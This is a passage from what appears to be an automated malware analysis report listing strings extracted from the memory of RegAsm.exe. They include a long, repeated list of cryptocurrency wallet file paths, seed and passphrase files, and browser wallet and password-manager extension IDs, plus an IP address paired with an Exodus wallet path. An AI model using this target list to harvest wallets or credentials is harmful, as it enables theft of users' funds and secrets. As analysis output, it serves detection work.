(Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 78.46.229.36i\AppData\Roaming\\Exodus\exodus.wallet\\info.seco<
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 78.46.229.36i\AppData\Roaming\\Exodus\exodus.wallet\\info.seco<
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|1\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|MetaMask\|1\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|1\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|TronLink\|1\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|BinanceChainWallet\|1\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|1\|0\|Yoroi\|1\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase\|1\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|1\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|1\|iWallet\|1\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|RoninWallet\|1\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|1\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CloverWallet\|1\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|LiqualityWallet\|1\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra_Station\|1\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|1\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|AuroWallet\|1\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|PolymeshWallet\|1\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|1\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98\|1\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|1\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain\|1\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|1\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|1\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Oxygen (Atomic)\|1\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|PaliWallet\|1\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|NamiWallet\|1\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Solflare\|1\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|CyanoWallet\|1\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|1\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|1\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Goby\|1\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|RoninWalletEdge\|1\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|UniSat Wallet\|1\|ppbibelpcjmhbdihakflkdcoccbgbkpo\|1\|0\|0\|Authenticator\|0\|bhghoamapcdpbohphigoooaddinpkbai\|1\|1\|0\|GAuth Authenticator\|0\|ilgcnhelpchnceeipipijaljkblbcobl\|1\|1\|1\|Tronium\|1\|pnndplcbkakcplkjnolgbkdgjikjednm\|1\|0\|0\|Trust Wallet\|1\|egjidjbpglichdcondbcbdnbeeppgdph\|1\|0\|0\|Exodus Web3 Wallet\|1\|aholpfdialjgjfhomihkjbmgjidlcdno\|1\|0\|0\|Braavos\|1\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|1\|kkpllkodjeloidieedojogacfhpaihoh\|1\|0\|0\|OKX Web3 Wallet\|1\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender\|1\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|1\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|GeroWallet\|1\|bgpipimickeadkjlklgciifhnalhdjhe\|1\|0\|0\|Pontem Wallet\|1\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Finnie\|1\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra\|1\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Microsoft AutoFill\|0\|fiedbfgcleddlbcmgdigjgdfcggjcion\|1\|0\|0\|Bitwarden\|0\|nngceckbapebfimnlniiiahkandclblb\|1\|0\|0\|KeePass Tusk\|0\|fmhmiaejopepamlcjkncpgpdjichnecm\|1\|0\|0\|KeePassXC-Browser\|0\|oboonakemofpalcgghocfoadofidjkkk\|1\|0\|0\|Rise - Aptos Wallet\|1\|hbbgbephgojikajhfbomhlmmollphcad\|1\|0\|0\|Rainbow Wallet\|1\|opfgelmcmbiajamepnmloijbpoleiama\|1\|0\|0\|Nightly\|1\|fiikommddbeccaoicoejoniammnalkfa\|1\|0\|0\|Ecto Wallet\|1\|bgjogpoidejdemgoochpnkmdjpocgkha\|1\|0\|0\|Coinhub\|1\|jgaaimajipbpdogpdglhaphldakikgef\|1\|0\|0\|Leap Cosmos Wallet\|1\|fcfcfllfndlomdhbehjjcoimbgofdncg\|1\|0\|0\|MultiversX DeFi Wal
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsona
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 78.46.229.36i\AppData\Roaming\\Exodus\exodus.wallet\\info.seco<
